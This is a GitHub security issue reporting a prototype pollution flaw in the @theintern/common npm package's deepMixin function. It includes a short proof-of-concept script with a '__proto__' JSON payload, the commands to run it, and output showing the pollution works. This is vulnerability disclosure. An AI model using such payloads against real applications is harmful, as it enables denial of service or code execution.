Skip to content

[Security] Prototype Pollution #1184

@ready-research

Description

@ready-research

@theintern/common is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.
Reported the same in https://www.huntr.dev/bounties/1625553948781-theintern/intern/

🕵️‍♂️ Proof of Concept
1.Create the following PoC file:

// poc.js
var common = require("@theintern/common")
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
var obj = {}
console.log("Before : " + {}.polluted);
common.deepMixin(obj, payload);
console.log("After : " + {}.polluted);

Execute the following commands in another terminal:

npm i @theintern/common # Install affected module
node poc.js #  Run the PoC

Check the Output:

Before : undefined
After : Yes! Its Polluted

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions